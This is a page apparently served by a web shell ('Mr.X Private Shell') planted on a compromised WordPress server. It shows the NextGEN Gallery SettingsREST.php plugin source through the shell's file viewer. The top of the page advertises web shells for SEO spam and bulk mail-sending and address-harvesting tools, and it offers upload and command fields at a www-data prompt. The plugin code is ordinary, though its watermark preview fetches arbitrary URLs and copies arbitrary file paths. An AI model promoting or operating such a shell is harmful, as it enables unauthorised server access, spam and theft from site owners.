__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
/**
 * REST API endpoints for NextGEN Gallery settings.
 *
 * @package Imagely\NGG\REST\DataMappers
 */

namespace Imagely\NGG\REST\DataMappers;

use WP_REST_Request;
use WP_REST_Response;
use WP_Error;
use Imagely\NGG\Settings\Settings;
use Imagely\NGG\Settings\GlobalSettings;
use Imagely\NGG\Util\Security;
use Imagely\NGG\DynamicThumbnails\Manager as DynamicThumbnailsManager;
use Imagely\NGG\DataMappers\Image as ImageMapper;
use Imagely\NGG\DataStorage\Manager as StorageManager;
use Imagely\NGG\DataMappers\Gallery as GalleryMapper;

/**
 * Class SettingsREST
 * Handles REST API endpoints for NextGEN Gallery settings.
 *
 * @package Imagely\NGG\REST\DataMappers
 */
class SettingsREST {
	/**
	 * Register the REST API routes for settings
	 */
	public static function register_routes() {
		register_rest_route(
			'imagely/v1',
			'/settings',
			[
				[
					'methods'             => 'GET',
					'callback'            => [ self::class, 'get_settings' ],
					'permission_callback' => [ self::class, 'check_read_permission' ],
				],
				[
					'methods'             => 'PUT',
					'callback'            => [ self::class, 'update_settings' ],
					'permission_callback' => [ self::class, 'check_edit_permission' ],
				],
			]
		);

		// Get and update global settings (multisite).
		register_rest_route(
			'imagely/v1',
			'/settings/global',
			[
				[
					'methods'             => 'GET',
					'callback'            => [ self::class, 'get_global_settings' ],
					'permission_callback' => [ self::class, 'check_read_permission' ],
				],
				[
					'methods'             => 'PUT',
					'callback'            => [ self::class, 'update_global_settings' ],
					'permission_callback' => [ self::class, 'check_edit_permission' ],
				],
			]
		);

		// Generate watermark preview.
		register_rest_route(
			'imagely/v1',
			'/settings/watermark-preview',
			[
				'methods'             => 'POST',
				'callback'            => [ self::class, 'get_watermark_preview' ],
				'permission_callback' => [ self::class, 'check_edit_permission' ],
				'args'                => [
					'watermark_options' => [
						'type'              => 'object',
						'required'          => false,
						'description'       => 'Watermark configuration options',
						'validate_callback' => function ( $param ) {
							return is_array( $param ) || is_object( $param );
						},
					],
				],
			]
		);

		// Reset settings to defaults.
		register_rest_route(
			'imagely/v1',
			'/settings/reset',
			[
				'methods'             => 'POST',
				'callback'            => [ self::class, 'reset_settings' ],
				'permission_callback' => [ self::class, 'check_edit_permission' ],
				'args'                => [
					'confirm'       => [
						'type'              => 'boolean',
						'required'          => true,
						'description'       => 'Confirmation flag to prevent accidental resets',
						'validate_callback' => function ( $param ) {
							return is_bool( $param ) && $param;
						},
					],
					'settings_type' => [
						'type'              => 'string',
						'required'          => false,
						'default'           => 'all',
						'description'       => 'Type of settings to reset: all, non_ecommerce, or ecommerce',
						'enum'              => [ 'all', 'non_ecommerce', 'ecommerce' ],
						'validate_callback' => function ( $param ) {
							return in_array( $param, [ 'all', 'non_ecommerce', 'ecommerce' ], true );
						},
					],
				],
			]
		);

		// Clear all cache.
		register_rest_route(
			'imagely/v1',
			'/cache/clear',
			[
				'methods'             => 'POST',
				'callback'            => [ self::class, 'clear_cache' ],
				'permission_callback' => [ self::class, 'check_edit_permission' ],
			]
		);

		// Regenerate all thumbnails.
		register_rest_route(
			'imagely/v1',
			'/thumbnails/regenerate',
			[
				'methods'             => 'POST',
				'callback'            => [ self::class, 'regenerate_thumbnails' ],
				'permission_callback' => [ self::class, 'check_edit_permission' ],
			]
		);

		// Get system information.
		register_rest_route(
			'imagely/v1',
			'/system-info',
			[
				'methods'             => 'GET',
				'callback'            => [ self::class, 'get_system_info' ],
				'permission_callback' => [ self::class, 'check_read_permission' ],
			]
		);
	}

	/**
	 * Get the value type for a setting based on the example JSON.
	 * Handles nested objects and stringified numbers/booleans.
	 *
	 * @param mixed $value The value to check.
	 * @return string
	 */
	protected static function get_value_type( $value ) {
		if ( is_null( $value ) ) {
			// For null values, allow mixed types (string, integer, or null)
			return [ 'string', 'integer', 'null' ];
		}
		if ( is_array( $value ) ) {
			// Check if associative (object) or sequential (array)
			return self::is_assoc( $value ) ? 'object' : 'array';
		}
		if ( is_bool( $value ) ) {
			return 'boolean';
		}
		if ( is_int( $value ) ) {
			return 'integer';
		}
		if ( is_float( $value ) ) {
			return 'number';
		}
		if ( is_string( $value ) ) {
			// Only detect stringified types if they are obvious candidates
			// This prevents over-aggressive type conversion
			if ( 'true' === $value || 'false' === $value ) {
				return 'boolean';
			}
			// Be more conservative with numeric detection
			// Only convert if it's a simple numeric string without leading zeros
			if ( is_numeric( $value ) && (string) (int) $value === $value && false === strpos( $value, '.' ) ) {
				return 'integer';
			}
			if ( is_numeric( $value ) && false !== strpos( $value, '.' ) && (string) (float) $value === $value ) {
				return 'number';
			}
			return 'string';
		}
		return 'string'; // Default to string for unknown types.
	}

	/**
	 * Helper to check if an array is associative (object-like).
	 *
	 * @param array $arr The array to check.
	 * @return bool
	 */
	protected static function is_assoc( array $arr ) {
		if ( [] === $arr ) {
			return false;
		}
		return array_keys( $arr ) !== range( 0, count( $arr ) - 1 );
	}

	/**
	 * Sanitize a setting value for security.
	 * Simple approach - detect if content needs HTML/newlines preserved.
	 *
	 * @param mixed  $value The value to sanitize.
	 * @param string $key The setting key (to determine appropriate sanitization).
	 * @return mixed
	 */
	protected static function sanitize_setting( $value, $key = '' ) {
		// Handle arrays and objects recursively
		if ( is_array( $value ) ) {
			return array_map(
				function ( $v ) use ( $key ) {
					return self::sanitize_setting( $v, $key );
				},
				$value
			);
		}

		// Settings class will convert objects to arrays
		if ( is_object( $value ) ) {
			return (array) $value;
		}

		// Let null, boolean, and numeric values pass through as-is
		if ( is_null( $value ) || is_bool( $value ) || is_numeric( $value ) ) {
			return $value;
		}

		// Convert to string for processing
		$string_value = (string) $value;

		// Fields that should preserve HTML and newlines
		if ( self::should_preserve_html( $key, $string_value ) ) {
			return wp_kses_post( $string_value );
		}

		// Fields that should preserve newlines but strip HTML
		if ( self::should_preserve_newlines( $key, $string_value ) ) {
			return sanitize_textarea_field( $string_value );
		}

		// Default: strip HTML and newlines for security
		return sanitize_text_field( $string_value );
	}

	/**
	 * Check if a field should preserve HTML content.
	 *
	 * @param string $key The setting key.
	 * @param string $value The setting value.
	 * @return bool
	 */
	protected static function should_preserve_html( $key, $value ) {
		// Fields that commonly contain HTML or special placeholders
		$html_fields = [
			'ecommerce_cheque_instructions',
			'proofing_user_confirmation_template',
			'proofing_email_template', // Contains %% placeholders that need protection
			'relatedHeading',
		];

		// Check if field name indicates HTML content
		if ( in_array( $key, $html_fields, true ) ) {
			return true;
		}

		// Auto-detect: if value contains HTML tags, preserve them
		if ( wp_strip_all_tags( $value ) !== $value ) {
			return true;
		}

		return false;
	}

	/**
	 * Check if a field should preserve newlines.
	 *
	 * @param string $key The setting key.
	 * @param string $value The setting value.
	 * @return bool
	 */
	protected static function should_preserve_newlines( $key, $value ) {
		// Fields that commonly contain newlines (email templates, etc.)
		$newline_fields = [
			'ecommerce_email_notification_body',
			'ecommerce_email_receipt_body',
			'proofing_user_email_template',
		];

		// Check if field name indicates newline content
		if ( in_array( $key, $newline_fields, true ) ) {
			return true;
		}

		// Auto-detect: if value contains newlines, preserve them
		if ( strpos( $value, "\n" ) !== false ) {
			return true;
		}

		return false;
	}

	/**
	 * Check if user has permission to read settings
	 *
	 * @return bool
	 */
	public static function check_read_permission() {
		return Security::is_allowed( 'NextGEN Change options' );
	}

	/**
	 * Check if user has permission to edit settings
	 *
	 * @return bool
	 */
	public static function check_edit_permission() {
		return Security::is_allowed( 'NextGEN Change options' );
	}

	/**
	 * Get all settings
	 *
	 * @return \WP_REST_Response
	 */
	public static function get_settings() {
		$settings = Settings::get_instance();
		return new WP_REST_Response( $settings->to_array(), 200 );
	}

	/**
	 * Update settings via REST API request.
	 *
	 * @param \WP_REST_Request $request The request object.
	 * @return \WP_REST_Response|\WP_Error
	 */
	public static function update_settings( WP_REST_Request $request ) {
		$new_settings = $request->get_json_params();
		$settings     = Settings::get_instance();

		foreach ( $new_settings as $key => $value ) {
			// Security sanitization with context-aware handling
			$sanitized_value = self::sanitize_setting( $value, $key );
			$settings->set( $key, $sanitized_value );
		}

		try {
			$settings->save();
			return new WP_REST_Response( $settings->to_array(), 200 );
		} catch ( \Exception $e ) {
			return new WP_Error(
				'settings_update_failed',
				$e->getMessage(),
				[ 'status' => 500 ]
			);
		}
	}

	/**
	 * Get global settings
	 *
	 * @return \WP_REST_Response | \WP_Error
	 */
	public static function get_global_settings() {
		if ( ! is_multisite() ) {
			return new WP_Error(
				'not_multisite',
				__( 'Global settings are only available in multisite installations', 'nggallery' ),
				[ 'status' => 400 ]
			);
		}

		$settings = GlobalSettings::get_instance();
		return new WP_REST_Response( $settings->to_array(), 200 );
	}

	/**
	 * Update global settings
	 *
	 * @param \WP_REST_Request $request The request object.
	 * @return \WP_REST_Response|\WP_Error
	 */
	public static function update_global_settings( WP_REST_Request $request ) {
		if ( ! is_multisite() ) {
			return new WP_Error(
				'not_multisite',
				__( 'Global settings are only available in multisite installations', 'nggallery' ),
				[ 'status' => 400 ]
			);
		}

		$new_settings = $request->get_json_params();
		$settings     = GlobalSettings::get_instance();

		foreach ( $new_settings as $key => $value ) {
			// Security sanitization with context-aware handling
			$sanitized_value = self::sanitize_setting( $value, $key );
			$settings->set( $key, $sanitized_value );
		}

		try {
			$settings->save();
			return new WP_REST_Response( $settings->to_array(), 200 );
		} catch ( \Exception $e ) {
			return new WP_Error(
				'settings_update_failed',
				$e->getMessage(),
				[ 'status' => 500 ]
			);
		}
	}

	/**
	 * Get watermark preview
	 *
	 * @param \WP_REST_Request $request The request object.
	 * @return \WP_REST_Response|\WP_Error
	 */
	public static function get_watermark_preview( WP_REST_Request $request ) {
		$watermark_options = $request->get_param( 'watermark_options' );

		// Check if watermark options are provided
		if ( empty( $watermark_options ) ) {
			return new WP_Error(
				'missing_watermark_options',
				__( 'Watermark options are required', 'nggallery' ),
				[ 'status' => 400 ]
			);
		}

		// Validate watermark type
		$wm_type = $watermark_options['wmType'] ?? '';
		if ( empty( $wm_type ) || ! in_array( $wm_type, [ 'text', 'image' ], true ) ) {
			return new WP_Error(
				'invalid_watermark_type',
				__( 'Invalid watermark type. Must be "text" or "image".', 'nggallery' ),
				[ 'status' => 400 ]
			);
		}

		// Validate text watermark requirements
		if ( 'text' === $wm_type ) {
			$wm_text = $watermark_options['wmText'] ?? '';
			if ( empty( trim( $wm_text ) ) ) {
				return new WP_Error(
					'empty_watermark_text',
					__( 'Watermark text cannot be empty when using text watermarks.', 'nggallery' ),
					[ 'status' => 400 ]
				);
			}
		}

		// Validate image watermark requirements
		if ( 'image' === $wm_type ) {
			$wm_path = trim( $watermark_options['wmPath'] ?? '' );
			if ( empty( $wm_path ) ) {
				return new WP_Error(
					'missing_watermark_image',
					__( 'Watermark image path is required when using image watermarks.', 'nggallery' ),
					[ 'status' => 400 ]
				);
			}

			// Allow either absolute URLs, absolute filesystem paths, or server-relative paths.
			$is_url   = is_string( $wm_path ) && preg_match( '/^https?:\/\//i', $wm_path );
			$is_abs   = is_string( $wm_path ) && ( 0 === strpos( $wm_path, '/' ) || preg_match( '/^[A-Za-z]:[\\\/]*/', $wm_path ) );
			if ( $is_url ) {
				// URL will be downloaded later; no file_exists check here
			} elseif ( $is_abs ) {
				// Absolute filesystem path must exist
				if ( ! file_exists( $wm_path ) ) {
					return new WP_Error(
						'invalid_watermark_image',
						__( 'Watermark image file does not exist.', 'nggallery' ),
						[ 'status' => 400 ]
					);
				}
			} else {
				// Treat as server-relative path under ABSPATH
				$full_path = ABSPATH . ltrim( $wm_path, '/' );
				if ( ! file_exists( $full_path ) ) {
					return new WP_Error(
						'invalid_watermark_image',
						__( 'Watermark image file does not exist.', 'nggallery' ),
						[ 'status' => 400 ]
					);
				}
			}
		}

		try {
			// Get NextGen managers
			$mapper  = ImageMapper::get_instance();
			$storage = StorageManager::get_instance();

			// Find the first available NextGen image
			$images = $mapper->find_all();

			if ( empty( $images ) ) {
				return new WP_Error(
					'no_images_found',
					__( 'No images found in NextGen Gallery. Please add images to a gallery first.', 'nggallery' ),
					[ 'status' => 400 ]
				);
			}

			$original_image = null;

			// Look for the first usable image
			foreach ( $images as $image ) {
				// Skip dynamic thumbnails and thumbs
				if ( strpos( $image->filename, '-nggid' ) === false && strpos( $image->filename, 'thumbs-' ) !== 0 ) {
					// Verify the image file actually exists
					$image_path = $storage->get_image_abspath( $image );
					if ( $image_path && file_exists( $image_path ) ) {
						$original_image = $image;
						break;
					}
				}
			}

			if ( ! $original_image ) {
				return new WP_Error(
					'no_usable_images',
					__( 'No usable images found for preview generation.', 'nggallery' ),
					[ 'status' => 400 ]
				);
			}

			// Prepare watermark path for generation
			$final_wm_path     = trim( $watermark_options['wmPath'] ?? '' );
			$downloaded_tmp    = false;
			$tmp_download_path = '';

			if ( 'image' === ( $watermark_options['wmType'] ?? '' ) && ! empty( $final_wm_path ) ) {
				$is_url = is_string( $final_wm_path ) && preg_match( '/^https?:\/\//i', $final_wm_path );
				$is_abs = is_string( $final_wm_path ) && ( 0 === strpos( $final_wm_path, '/' ) || preg_match( '/^[A-Za-z]:[\\\/]*/', $final_wm_path ) );
				if ( $is_url ) {
					// Download remote watermark image to uploads folder for preview use
					$upload_dir = wp_upload_dir();
					$preview_dir = trailingslashit( $upload_dir['basedir'] ) . 'ngg-watermark-previews/';
					if ( ! is_dir( $preview_dir ) ) {
						wp_mkdir_p( $preview_dir );
					}

					$ext       = pathinfo( parse_url( $final_wm_path, PHP_URL_PATH ), PATHINFO_EXTENSION );
					$ext       = $ext ? $ext : 'png';
					$tmp_name  = 'wm_' . uniqid( '', true ) . '.' . $ext;
					$tmp_path  = $preview_dir . $tmp_name;

					$response = wp_remote_get( $final_wm_path, [ 'timeout' => 15 ] );
					if ( is_wp_error( $response ) || (int) wp_remote_retrieve_response_code( $response ) !== 200 ) {
						return new WP_Error(
							'invalid_watermark_image',
							__( 'Unable to fetch watermark image from the provided URL.', 'nggallery' ),
							[ 'status' => 400 ]
						);
					}
					$body = wp_remote_retrieve_body( $response );
					if ( empty( $body ) ) {
						return new WP_Error(
							'invalid_watermark_image',
							__( 'Empty response when fetching watermark image URL.', 'nggallery' ),
							[ 'status' => 400 ]
						);
					}

					// Write file to disk
					file_put_contents( $tmp_path, $body );
					if ( ! file_exists( $tmp_path ) ) {
						return new WP_Error(
							'invalid_watermark_image',
							__( 'Failed to store downloaded watermark image.', 'nggallery' ),
							[ 'status' => 500 ]
						);
					}

					// Convert absolute path to path relative to ABSPATH as expected by downstream logic
					$relative = ltrim( str_replace( ABSPATH, '/', $tmp_path ), '/' );
					$final_wm_path   = $relative;
					$downloaded_tmp  = true;
					$tmp_download_path = $tmp_path;
				} elseif ( $is_abs ) {
					// If absolute and under ABSPATH, convert to server-relative; otherwise copy into previews dir
					if ( 0 === strpos( $final_wm_path, ABSPATH ) ) {
						$final_wm_path = ltrim( str_replace( ABSPATH, '/', $final_wm_path ), '/' );
					} else {
						$upload_dir = wp_upload_dir();
						$preview_dir = trailingslashit( $upload_dir['basedir'] ) . 'ngg-watermark-previews/';
						if ( ! is_dir( $preview_dir ) ) {
							wp_mkdir_p( $preview_dir );
						}
						$ext      = pathinfo( $final_wm_path, PATHINFO_EXTENSION );
						$ext      = $ext ? $ext : 'png';
						$tmp_name = 'wm_' . uniqid( '', true ) . '.' . $ext;
						$tmp_path = $preview_dir . $tmp_name;
						if ( ! @copy( $final_wm_path, $tmp_path ) ) {
							return new WP_Error(
								'invalid_watermark_image',
								__( 'Failed to copy watermark image for preview.', 'nggallery' ),
								[ 'status' => 500 ]
							);
						}
						$final_wm_path     = ltrim( str_replace( ABSPATH, '/', $tmp_path ), '/' );
						$downloaded_tmp    = true;
						$tmp_download_path = $tmp_path;
					}
				}
			}

			// Prepare size parameters for watermarked preview
			$size_params = [
				'width'     => 250,
				'height'    => 250,
				'quality'   => 100,
				'watermark' => 1,
				'wmType'    => sanitize_text_field( $watermark_options['wmType'] ?? 'text' ),
				'wmText'    => sanitize_text_field( $watermark_options['wmText'] ?? 'Preview' ),
				'wmPos'     => sanitize_text_field( $watermark_options['wmPos'] ?? 'midCenter' ),
				'wmXpos'    => intval( $watermark_options['wmXpos'] ?? 15 ),
				'wmYpos'    => intval( $watermark_options['wmYpos'] ?? 5 ),
				'wmPath'    => sanitize_text_field( $final_wm_path ),
				'wmFont'    => sanitize_text_field( $watermark_options['wmFont'] ?? 'arial.ttf' ),
				'wmSize'    => intval( $watermark_options['wmSize'] ?? 30 ),
				'wmColor'   => sanitize_text_field( $watermark_options['wmColor'] ?? 'ffffff' ),
				'wmOpaque'  => intval( $watermark_options['wmOpaque'] ?? 33 ),
			];

			// Generate a unique size name for this watermark preview
			$imagegen  = DynamicThumbnailsManager::get_instance();
			$size_name = $imagegen->get_size_name( $size_params );

			// Generate the watermarked image using NextGen's system
			$result = $storage->generate_image_size( $original_image, $size_name, $size_params );

			if ( $result ) {
				// Get the URL for the generated watermarked image
				$preview_url = $storage->get_image_url( $original_image, $size_name );

				if ( $preview_url ) {
					// Add timestamp to prevent caching
					$preview_url_with_timestamp = $preview_url . '?' . time();
					// Cleanup temporary download, if any
					if ( ! empty( $downloaded_tmp ) && $tmp_download_path && file_exists( $tmp_download_path ) ) {
						@unlink( $tmp_download_path );
					}

					return new WP_REST_Response(
						[
							'success'       => true,
							'thumbnail_url' => $preview_url_with_timestamp,
						],
						200
					);
				}
			}

			// If we get here, generation failed
			return new WP_Error(
				'generation_failed',
				__( 'Could not generate watermarked preview. Please check that watermark settings are valid.', 'nggallery' ),
				[ 'status' => 500 ]
			);

		} catch ( \Exception $e ) {
			// Cleanup on error as well
			if ( ! empty( $downloaded_tmp ) && $tmp_download_path && file_exists( $tmp_download_path ) ) {
				@unlink( $tmp_download_path );
			}
			return new WP_Error(
				'preview_error',
				// translators: %s is the error message
				sprintf( __( 'An error occurred while generating the watermark preview: %s', 'nggallery' ), $e->getMessage() ),
				[ 'status' => 500 ]
			);
		}
	}

	/**
	 * Reset settings to defaults
	 *
	 * @param \WP_REST_Request $request The request object.
	 * @return \WP_REST_Response|\WP_Error
	 */
	public static function reset_settings( WP_REST_Request $request ) {
		$confirm       = $request->get_param( 'confirm' );
		$settings_type = $request->get_param( 'settings_type' ) ?? 'all';

		// Double-check the confirmation
		if ( ! $confirm ) {
			return new WP_Error(
				'reset_not_confirmed',
				__( 'Settings reset must be confirmed by setting "confirm" to true.', 'nggallery' ),
				[ 'status' => 400 ]
			);
		}

		try {
			global $wpdb;

			switch ( $settings_type ) {
				case 'all':
					// Complete reset - same as old admin reset_action
					self::perform_complete_reset( $wpdb );
					$message = __( 'All settings have been reset to default values.', 'nggallery' );
					break;

				case 'non_ecommerce':
					// Reset non-ecommerce settings - same as old admin reset_non_ecommerce_settings_action
					self::perform_non_ecommerce_reset( $wpdb );
					$message = __( 'All non-ecommerce settings have been reset to default values.', 'nggallery' );
					break;

				case 'ecommerce':
					// Reset only ecommerce settings - same as old admin reset_ecommerce_settings_action
					self::perform_ecommerce_reset();
					$message = __( 'Ecommerce settings have been reset to default values.', 'nggallery' );
					break;

				default:
					return new WP_Error(
						'invalid_settings_type',
						__( 'Invalid settings type. Must be "all", "non_ecommerce", or "ecommerce".', 'nggallery' ),
						[ 'status' => 400 ]
					);
			}

			return new WP_REST_Response(
				[
					'success'       => true,
					'message'       => $message,
					'settings_type' => $settings_type,
				],
				200
			);

		} catch ( \Exception $e ) {
			return new WP_Error(
				'reset_failed',
				// translators: %s is the error message
				sprintf( __( 'Failed to reset settings: %s', 'nggallery' ), $e->getMessage() ),
				[ 'status' => 500 ]
			);
		}
	}

	/**
	 * Perform complete reset - same as old admin reset_action
	 *
	 * @param \wpdb $wpdb WordPress database object.
	 * @throws \Exception If reset fails.
	 */
	private static function perform_complete_reset( $wpdb ) {
		// Flush the cache
		\Imagely\NGG\Util\Transient::flush();

		// Uninstall the plugins in the correct order
		$settings = \Imagely\NGG\Settings\Settings::get_instance();

		if ( defined( 'NGG_PRO_PLUGIN_VERSION' ) || defined( 'NEXTGEN_GALLERY_PRO_VERSION' ) ) {
			\Imagely\NGG\Util\Installer::uninstall( 'photocrati-nextgen-pro' );
		}

		if ( defined( 'NGG_PLUS_PLUGIN_VERSION' ) ) {
			\Imagely\NGG\Util\Installer::uninstall( 'photocrati-nextgen-plus' );
		}

		\Imagely\NGG\Util\Installer::uninstall( 'photocrati-nextgen' );

		// Remove all ngg_options entry in wp_options
		$settings->reset();
		$settings->destroy();

		// Remove duplicate display types and lightboxes from database
		// (fixes issues from 1.9x to 2.0x upgrades)
		$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->posts} WHERE post_type = %s", 'display_type' ) );
		$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->posts} WHERE post_type = %s", 'lightbox_library' ) );

		// Trigger reinstallation by making a request to plugins.php
		wp_remote_get(
			admin_url( 'plugins.php' ),
			[
				'timeout'   => 180,
				'blocking'  => true,
				'sslverify' => false,
			]
		);
	}

	/**
	 * Perform non-ecommerce reset - same as old admin reset_non_ecommerce_settings_action
	 *
	 * @param \wpdb $wpdb WordPress database object.
	 * @throws \Exception If reset fails.
	 */
	private static function perform_non_ecommerce_reset( $wpdb ) {
		// Flush the cache
		\Imagely\NGG\Util\Transient::flush();

		// Get Pro installers and identify ecommerce ones
		$installers       = apply_filters( 'ngg_pro_settings_reset_installers', [] );
		$ecomm_installers = [];

		foreach ( $installers as $installer_classname ) {
			if ( class_exists( $installer_classname ) ) {
				$installer = new $installer_classname();
				$actions   = $installer->get_groups();
				if ( in_array( 'ecommerce', $actions, true ) ) {
					$ecomm_installers[] = $installer;
				}
			}
		}

		// Load current ecommerce settings to preserve them
		foreach ( $ecomm_installers as $installer ) {
			$installer->load_current_settings();
		}

		// Wipe out all settings (same as complete reset)
		if ( defined( 'NGG_PRO_PLUGIN_VERSION' ) || defined( 'NEXTGEN_GALLERY_PRO_VERSION' ) ) {
			\Imagely\NGG\Util\Installer::uninstall( 'photocrati-nextgen-pro' );
		}

		if ( defined( 'NGG_PLUS_PLUGIN_VERSION' ) ) {
			\Imagely\NGG\Util\Installer::uninstall( 'photocrati-nextgen-plus' );
		}

		\Imagely\NGG\Util\Installer::uninstall( 'photocrati-nextgen' );

		$settings = \Imagely\NGG\Settings\Settings::get_instance();
		$settings->reset();
		$settings->destroy();

		// Remove duplicate display types and lightboxes from database
		$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->posts} WHERE post_type = %s", 'display_type' ) );
		$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->posts} WHERE post_type = %s", 'lightbox_library' ) );

		// Trigger reinstallation
		wp_remote_get(
			admin_url( 'plugins.php' ),
			[
				'timeout'   => 180,
				'blocking'  => true,
				'sslverify' => false,
			]
		);

		// Reload settings and restore ecommerce settings
		$settings = \Imagely\NGG\Settings\Settings::get_instance();
		$settings->load();

		foreach ( $ecomm_installers as $installer ) {
			$installer->set_current_settings();
		}

		$settings->save();
	}

	/**
	 * Perform ecommerce-only reset - same as old admin reset_ecommerce_settings_action
	 *
	 * @throws \Exception If reset fails.
	 */
	private static function perform_ecommerce_reset() {
		// Flush the cache
		\Imagely\NGG\Util\Transient::flush();

		// Get Pro installers and reset only ecommerce ones
		$installers = apply_filters( 'ngg_pro_settings_reset_installers', [] );

		foreach ( $installers as $installer_classname ) {
			if ( class_exists( $installer_classname ) ) {
				$installer = new $installer_classname();
				$actions   = $installer->get_groups();
				if ( in_array( 'ecommerce', $actions, true ) ) {
					$installer->reset();
				}
			}
		}
	}

	/**
	 * Clear all cache
	 *
	 * @return \WP_REST_Response|\WP_Error
	 */
	public static function clear_cache() {
		try {
			$storage_manager = StorageManager::get_instance();
			$gallery_mapper  = GalleryMapper::get_instance();

			// Get all galleries
			$galleries = $gallery_mapper->find_all();

			// Clear cache for each gallery
			foreach ( $galleries as $gallery ) {
				$storage_manager->flush_cache( $gallery );
			}

			// Clear WordPress transients
			global $wpdb;
			$wpdb->query( "DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_ngg_%'" );
			$wpdb->query( "DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_timeout_ngg_%'" );

			// Clear NextGen specific transients
			\Imagely\NGG\Util\Transient::flush();

			return new WP_REST_Response(
				[
					'success' => true,
					'message' => __( 'Cache cleared successfully', 'nggallery' ),
				],
				200
			);
		} catch ( \Exception $e ) {
			return new WP_Error(
				'cache_clear_failed',
				// translators: %s is the error message
				sprintf( __( 'Failed to clear cache: %s', 'nggallery' ), $e->getMessage() ),
				[ 'status' => 500 ]
			);
		}
	}

	/**
	 * Regenerate all thumbnails
	 *
	 * @return \WP_REST_Response|\WP_Error
	 */
	public static function regenerate_thumbnails() {
		try {
			$image_mapper    = ImageMapper::get_instance();
			$storage_manager = StorageManager::get_instance();

			// Get all images
			$images = $image_mapper->find_all();

			if ( empty( $images ) ) {
				return new WP_REST_Response(
					[
						'success' => true,
						'message' => __( 'No images found to regenerate', 'nggallery' ),
						'count'   => 0,
					],
					200
				);
			}

			$success_count = 0;
			$error_count   = 0;

			// Regenerate thumbnails for each image
			foreach ( $images as $image ) {
				try {
					$result = $storage_manager->generate_thumbnail( $image );
					if ( $result ) {
						++$success_count;
					} else {
						++$error_count;
					}
				} catch ( \Exception $e ) {
					++$error_count;
					continue;
				}
			}

			$total_count = count( $images );

			if ( $error_count > 0 ) {
				return new WP_REST_Response(
					[
						'success'       => true,
						'message'       => sprintf(
							// translators: %1$d is success count, %2$d is total count, %3$d is error count
							__( 'Thumbnail regeneration completed: %1$d of %2$d images processed successfully, %3$d errors', 'nggallery' ),
							$success_count,
							$total_count,
							$error_count
						),
						'total_count'   => $total_count,
						'success_count' => $success_count,
						'error_count'   => $error_count,
					],
					200
				);
			}

			return new WP_REST_Response(
				[
					'success'       => true,
					'message'       => sprintf(
						// translators: %d is the number of thumbnails regenerated
						__( 'All %d thumbnails regenerated successfully', 'nggallery' ),
						$success_count
					),
					'total_count'   => $total_count,
					'success_count' => $success_count,
					'error_count'   => 0,
				],
				200
			);
		} catch ( \Exception $e ) {
			return new WP_Error(
				'thumbnail_regeneration_failed',
				// translators: %s is the error message
				sprintf( __( 'Failed to regenerate thumbnails: %s', 'nggallery' ), $e->getMessage() ),
				[ 'status' => 500 ]
			);
		}
	}

	/**
	 * Get system information
	 *
	 * @return WP_REST_Response System information
	 */
	public static function get_system_info() {
		// Use the existing method from Admin\App class
		if ( class_exists( '\Imagely\NGG\Admin\App' ) ) {
			$system_info = \Imagely\NGG\Admin\App::get_system_info();
			return new WP_REST_Response( $system_info, 200 );
		}

		return new WP_Error(
			'system_info_unavailable',
			__( 'System information is not available', 'nggallery' ),
			[ 'status' => 500 ]
		);
	}
}

Filemanager

Name Type Size Permission Actions
http Folder 0755
AlbumREST.php File 24.78 KB 0644
DisplayTypeREST.php File 9.48 KB 0644
GalleryREST.php File 30.73 KB 0644
ImageOperationsREST.php File 43.89 KB 0644
ImageREST.php File 33.56 KB 0644
LicenseREST.php File 3.47 KB 0644
NotificationsREST.php File 5 KB 0644
PluginManagementREST.php File 6.92 KB 0644
SettingsREST.php File 30.29 KB 0644
TagREST.php File 7.73 KB 0644
Filemanager